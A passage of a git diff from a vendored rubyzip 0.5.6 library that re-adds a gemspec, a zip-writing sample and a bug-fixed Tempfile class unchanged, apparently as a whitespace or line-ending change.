- s.summary = "rubyzip is a ruby module for reading and writing zip files"
- s.files = Dir.glob("{samples,zip,docs}/**/*").delete_if {|item| item.include?("CVS") || item.include?("rdoc")}
- s.require_path = '.'
- s.autorequire = 'zip/zip'
-end
-
-if $0==__FILE__
- Gem::Builder.new(spec).build
-end
-
+$:.unshift '../lib'
+require 'rubygems'
+
+spec = Gem::Specification.new do |s|
+ s.name = 'rubyzip'
+ s.version = "0.5.5"
+ s.author = "Thomas Sondergaard"
+ s.email = "thomas(at)thomassondergaard.com"
+ s.homepage = "http://rubyzip.sourceforge.net/"
+ s.platform = Gem::Platform::RUBY
+ s.summary = "rubyzip is a ruby module for reading and writing zip files"
+ s.files = Dir.glob("{samples,zip,docs}/**/*").delete_if {|item| item.include?("CVS") || item.include?("rdoc")}
+ s.require_path = '.'
+ s.autorequire = 'zip/zip'
+end
+
+if $0==__FILE__
+ Gem::Builder.new(spec).build
+end
+
diff --git a/vendor/rubyzip-0.5.6/samples/write_simple.rb b/vendor/rubyzip-0.5.6/samples/write_simple.rb
index d0c30a43..47b72adb 100755
--- a/vendor/rubyzip-0.5.6/samples/write_simple.rb
+++ b/vendor/rubyzip-0.5.6/samples/write_simple.rb
@@ -1,13 +1,13 @@
-#!/usr/bin/env ruby
-
-$: << ".."
-
-require 'zip/zip'
-
-include Zip
-
-ZipOutputStream.open('simple.zip') {
- |zos|
- ze = zos.put_next_entry 'entry.txt'
- zos.puts "Hello world"
+#!/usr/bin/env ruby
+
+$: << ".."
+
+require 'zip/zip'
+
+include Zip
+
+ZipOutputStream.open('simple.zip') {
+ |zos|
+ ze = zos.put_next_entry 'entry.txt'
+ zos.puts "Hello world"
}
\ No newline at end of file
diff --git a/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb b/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb
index 11a7a84a..ae82508f 100755
--- a/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb
+++ b/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb
@@ -1,195 +1,195 @@
-#
-# tempfile - manipulates temporary files
-#
-# $Id: tempfile_bugfixed.rb,v 1.1 2005/01/07 23:08:02 alexeyv Exp $
-#
-
-require 'delegate'
-require 'tmpdir'
-
-module BugFix
-
-# A class for managing temporary files. This library is written to be
-# thread safe.
-class Tempfile < DelegateClass(File)
- MAX_TRY = 10
- @@cleanlist = []
-
- # Creates a temporary file of mode 0600 in the temporary directory
- # whose name is basename.pid.n and opens with mode "w+". A Tempfile
- # object works just like a File object.
- #
- # If tmpdir is omitted, the temporary directory is determined by
- # Dir::tmpdir provided by 'tmpdir.rb'.
- # When $SAFE > 0 and the given tmpdir is tainted, it uses
- # /tmp. (Note that ENV values are tainted by default)
- def initialize(basename, tmpdir=Dir::tmpdir)
- if $SAFE > 0 and tmpdir.tainted?
- tmpdir = '/tmp'
- end
-
- lock = nil
- n = failure = 0
-
- begin
- Thread.critical = true
-
- begin
- tmpname = sprintf('%s/%s%d.%d', tmpdir, basename, $$, n)
- lock = tmpname + '.lock'
- n += 1
- end while @@cleanlist.include?(tmpname) or
- File.exist?(lock) or File.exist?(tmpname)
-
- Dir.mkdir(lock)
- rescue
- failure += 1
- retry if failure < MAX_TRY
- raise "cannot generate tempfile `%s'" % tmpname
- ensure
- Thread.critical = false
- end
-
- @data = [tmpname]
- @clean_proc = Tempfile.callback(@data)
- ObjectSpace.define_finalizer(self, @clean_proc)
-
- @tmpfile = File.open(tmpname, File::RDWR|File::CREAT|File::EXCL, 0600)
- @tmpname = tmpname
- @@cleanlist << @tmpname
- @data[1] = @tmpfile
- @data[2] = @@cleanlist
-
- super(@tmpfile)
-
- # Now we have all the File/IO methods defined, you must not
- # carelessly put bare puts(), etc. after this.
-
- Dir.rmdir(lock)
- end
-
- # Opens or reopens the file with mode "r+".
- def open
- @tmpfile.close if @tmpfile
- @tmpfile = File.open(@tmpname, 'r+')
- @data[1] = @tmpfile
- __setobj__(@tmpfile)
- end
-
- def _close # :nodoc:
- @tmpfile.close if @tmpfile
- @data[1] = @tmpfile = nil
- end
- protected :_close
-
- # Closes the file. If the optional flag is true, unlinks the file
- # after closing.
- #
- # If you don't explicitly unlink the temporary file, the removal
- # will be delayed until the object is finalized.
- def close(unlink_now=false)
- if unlink_now
- close!
- else
- _close
- end
- end
-
- # Closes and unlinks the file.
- def close!
- _close
- @clean_proc.call
- ObjectSpace.undefine_finalizer(self)
- end
-
- # Unlinks the file. On UNIX-like systems, it is often a good idea
- # to unlink a temporary file immediately after creating and opening
- # it, because it leaves other programs zero chance to access the
- # file.
- def unlink
- # keep this order for thread safeness
- File.unlink(@tmpname) if File.exist?(@tmpname)
- @@cleanlist.delete(@tmpname) if @@cleanlist
- end
- alias delete unlink
-
- if RUBY_VERSION > '1.8.0'
- def __setobj__(obj)
- @_dc_obj = obj
- end
- else
- def __setobj__(obj)
- @obj = obj
- end
- end
-
- # Returns the full path name of the temporary file.
- def path
- @tmpname
- end
-
- # Returns the size of the temporary file. As a side effect, the IO
- # buffer is flushed before determining the size.
- def size
- if @tmpfile
- @tmpfile.flush
- @tmpfile.stat.size
- else
- 0
- end
- end
- alias length size
-
- class << self
- def callback(data) # :nodoc:
- pid = $$
- lambda{
- if pid == $$
- path, tmpfile, cleanlist = *data
-
- print "removing ", path, "..." if $DEBUG
-
- tmpfile.close if tmpfile
-
- # keep this order for thread safeness
- File.unlink(path) if File.exist?(path)
- cleanlist.delete(path) if cleanlist
-
- print "done\n" if $DEBUG
- end
- }
- end
-
- # If no block is given, this is a synonym for new().
- #
- # If a block is given, it will be passed tempfile as an argument,
- # and the tempfile will automatically be closed when the block
- # terminates. In this case, open() returns nil.
- def open(*args)
- tempfile = new(*args)
-
- if block_given?
- begin
- yield(tempfile)
- ensure
- tempfile.close
- end
-
- nil
- else
- tempfile
- end
- end
- end
-end
-
-end # module BugFix
-if __FILE__ == $0
-# $DEBUG = true
- f = Tempfile.new("foo")
- f.print("foo\n")
- f.close
- f.open
- p f.gets # => "foo\n"
- f.close!
-end
+#
+# tempfile - manipulates temporary files
+#
+# $Id: tempfile_bugfixed.rb,v 1.1 2005/01/07 23:08:02 alexeyv Exp $
+#
+
+require 'delegate'
+require 'tmpdir'
+
+module BugFix
+
+# A class for managing temporary files. This library is written to be
+# thread safe.
+class Tempfile < DelegateClass(File)
+ MAX_TRY = 10
+ @@cleanlist = []
+
+ # Creates a temporary file of mode 0600 in the temporary directory
+ # whose name is basename.pid.n and opens with mode "w+". A Tempfile
+ # object works just like a File object.
+ #
+ # If tmpdir is omitted, the temporary directory is determined by
+ # Dir::tmpdir provided by 'tmpdir.rb'.
+ # When $SAFE > 0 and the given tmpdir is tainted, it uses
+ # /tmp. (Note that ENV values are tainted by default)
+ def initialize(basename, tmpdir=Dir::tmpdir)
+ if $SAFE > 0 and tmpdir.tainted?
+ tmpdir = '/tmp'
+ end
+
+ lock = nil
+ n = failure = 0
+
+ begin
+ Thread.critical = true
+
+ begin
+ tmpname = sprintf('%s/%s%d.%d', tmpdir, basename, $$, n)
+ lock = tmpname + '.lock'
+ n += 1
+ end while @@cleanlist.include?(tmpname) or
+ File.exist?(lock) or File.exist?(tmpname)
+
+ Dir.mkdir(lock)
+ rescue
+ failure += 1
+ retry if failure < MAX_TRY
+ raise "cannot generate tempfile `%s'" % tmpname
+ ensure
+ Thread.critical = false
+ end
+
+ @data = [tmpname]
+ @clean_proc = Tempfile.callback(@data)
+ ObjectSpace.define_finalizer(self, @clean_proc)
+
+ @tmpfile = File.open(tmpname, File::RDWR|File::CREAT|File::EXCL, 0600)
+ @tmpname = tmpname
+ @@cleanlist << @tmpname
+ @data[1] = @tmpfile
+ @data[2] = @@cleanlist
+
+ super(@tmpfile)
+
+ # Now we have all the File/IO methods defined, you must not
+ # carelessly put bare puts(), etc. after this.
+
+ Dir.rmdir(lock)
+ end
+
+ # Opens or reopens the file with mode "r+".
+ def open
+ @tmpfile.close if @tmpfile
+ @tmpfile = File.open(@tmpname, 'r+')
+ @data[1] = @tmpfile
+ __setobj__(@tmpfile)
+ end
+
+ def _close # :nodoc:
+ @tmpfile.close if @tmpfile
+ @data[1] = @tmpfile = nil
+ end
+ protected :_close
+
+ # Closes the file. If the optional flag is true, unlinks the file
+ # after closing.
+ #
+ # If you don't explicitly unlink the temporary file, the removal
+ # will be delayed until the object is finalized.
+ def close(unlink_now=false)
+ if unlink_now
+ close!
+ else
+ _close
+ end
+ end
+
+ # Closes and unlinks the file.
+ def close!
+ _close
+ @clean_proc.call
+ ObjectSpace.undefine_finalizer(self)
+ end
+
+ # Unlinks the file. On UNIX-like systems, it is often a good idea
+ # to unlink a temporary file immediately after creating and opening
+ # it, because it leaves other programs zero chance to access the
+ # file.
+ def unlink
+ # keep this order for thread safeness
+ File.unlink(@tmpname) if File.exist?(@tmpname)
+ @@cleanlist.delete(@tmpname) if @@cleanlist
+ end
+ alias delete unlink
+
+ if RUBY_VERSION > '1.8.0'
+ def __setobj__(obj)
+ @_dc_obj = obj
+ end
+ else
+ def __setobj__(obj)
+ @obj = obj
+ end
+ end
+
+ # Returns the full path name of the temporary file.
+ def path
+ @tmpname
+ end
+
+ # Returns the size of the temporary file. As a side effect, the IO
+ # buffer is flushed before determining the size.
+ def size
+ if @tmpfile
+ @tmpfile.flush
+ @tmpfile.stat.size
+ else
+ 0
+ end
+ end
+ alias length size
+
+ class << self
+ def callback(data) # :nodoc:
+ pid = $$
+ lambda{
+ if pid == $$
+ path, tmpfile, cleanlist = *data
+
+ print "removing ", path, "..." if $DEBUG
+
+ tmpfile.close if tmpfile
+
+ # keep this order for thread safeness
+ File.unlink(path) if File.exist?(path)
+ cleanlist.delete(path) if cleanlist
+
+ print "done\n" if $DEBUG
+ end
+ }
+ end
+
+ # If no block is given, this is a synonym for new().
+ #
+ # If a block is given, it will be passed tempfile as an argument,
+ # and the tempfile will automatically be closed when the block
+ # terminates. In this case, open() returns nil.
+ def open(*args)
+ tempfile = new(*args)
+
+ if block_given?
+ begin
+ yield(tempfile)
+ ensure
+ tempfile.close
+ end
+
+ nil
+ else
+ tempfile
+ end
+ end
+ end
+end
+
+end # module BugFix
+if __FILE__ == $0
+# $DEBUG = true
+ f = Tempfile.new("foo")
+ f.print("foo\n")
+ f.close
+ f.open
+ p f.gets # => "foo\n"
+ f.close!
+end